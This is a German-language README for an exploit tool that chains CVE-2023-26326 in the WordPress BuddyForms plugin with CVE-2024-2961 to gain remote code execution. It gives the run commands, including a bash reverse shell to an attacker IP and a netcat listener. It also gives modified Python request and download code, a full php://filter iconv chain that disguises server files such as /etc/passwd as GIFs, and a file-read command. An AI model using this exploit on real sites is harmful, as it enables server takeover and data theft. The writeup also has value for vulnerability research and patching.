
Exploit für CVE-2023-26326 im WordPress-BuddyForms-Plugin, der CVE-2024-2961 für die Remote-Codeausführung nutzt. Dieser Exploit umgeht die Deserialisierungsbeschränkungen von PHP 8+, indem er Schwachstellen mit php://filter verkettet.
Diese Arbeit wurde von mir, Omar Elshopky, und Nour El Dien Bassiouny erstellt.
Dieses Repository enthält einen Exploit für das WordPress-BuddyForms-Plugin (CVE-2023-26326), dessen Sicherheitslücke ursprünglich im Advisory von Joshua Martinelle gemeldet wurde. Der Exploit nutzt eine Technik, die im Blog Iconv, set the charset to RCE: Die glibc ausnutzen, um die PHP-Engine zu hacken vorgeschlagen und von @ambionics im Repository cnext-exploits implementiert wurde.
Ursprünglich waren für CVE-2023–26326 Gadget-Chains erforderlich, um sie als Deserialisierungs-Schwachstelle auszunutzen. Diese Methode ist auf neueren WordPress-Seiten mit PHP 8+ nicht mehr durchführbar; durch die Verkettung mit CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) wird der Exploit jedoch über php://filter anstelle von phar:// möglich.
Der Exploit wurde erstellt, indem das Skript cnext-exploit.py modifiziert und die für CVE-2023-26326 notwendigen Änderungen eingearbeitet wurden, wie in der Änderungsbeschreibung beschrieben.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT>, um die Reverse Shell zu empfangen:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


Die Kernidee hinter dem CVE-2024-2961-Exploit wurde beibehalten, aber es waren Änderungen erforderlich, um ihn anzupassen, die Filterkette an die Website zu senden und Dateien vom Server herunterzuladen.
Im ursprünglichen Exploit wird die send-Funktion verwendet, um einen Pfad an den Server zu senden:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Bei WordPress mit BuddyForms erfolgt die Interaktion standardmäßig über eine POST-Anfrage an /wp-admin/admin-ajax.php, wobei die Body-Daten action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif enthalten. Der URL-Parameter dient als Injektionspunkt, um die Filterkette an den Server zu senden. Dies führte zu der folgenden Änderung der send-Funktion:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
Der ursprüngliche Exploit besaß eine download-Funktion, die für das Herunterladen von Dateien vom Server zuständig war. Die folgende Version der download-Funktion wird im ursprünglichen Exploit verwendet:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Um dies an BuddyForms anzupassen, analysieren wir die Funktion buddyforms_upload_image_from_url, die das Hochladen von Bildern von einer URL übernimmt. Sie verwendet file_get_contents, prüft den Dateityp mit getimagesize() und speichert den Inhalt anschließend im Verzeichnis wp-content/uploads. Dadurch können wir php://filter ausnutzen, um lokale Dateien zu lesen und sie im Uploads-Verzeichnis zu speichern, sodass sie über eine URL zugänglich sind. Allerdings müssen wir die Dateiprüfung umgehen, indem wir dem Dateiinhalt GIF89a voranstellen, um ihn als GIF zu simulieren. Dies kann mithilfe von Filterverkettung erfolgen, und das Tool wrapwrap kann die erforderliche Kette generieren:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

Diese generierte Filterkette sollte die im ursprünglichen Skript verwendete Base64-Kodierung ersetzen. Zusätzlich muss das Format zum Extrahieren des hochgeladenen Dateipfads aus der Antwort aktualisiert werden, um das JSON-Format zu berücksichtigen, das das Attribut „response“ mit dem Dateipfad enthält.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Beachten Sie, dass das Präfix GIF89a entfernt werden sollte, bevor der Dateiinhalt im Exploit verwendet wird, was zu der folgenden modifizierten download-Funktion führt:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Bitte beachten Sie, dass das Herunterladen der Datei libc.so.6 vom Server mit den Filterketten möglicherweise nicht korrekt funktioniert, da die Binärdatei während des Vorgangs verändert wird. Stattdessen sollte die korrekte Datei im Stammverzeichnis des Exploits bereitgestellt werden.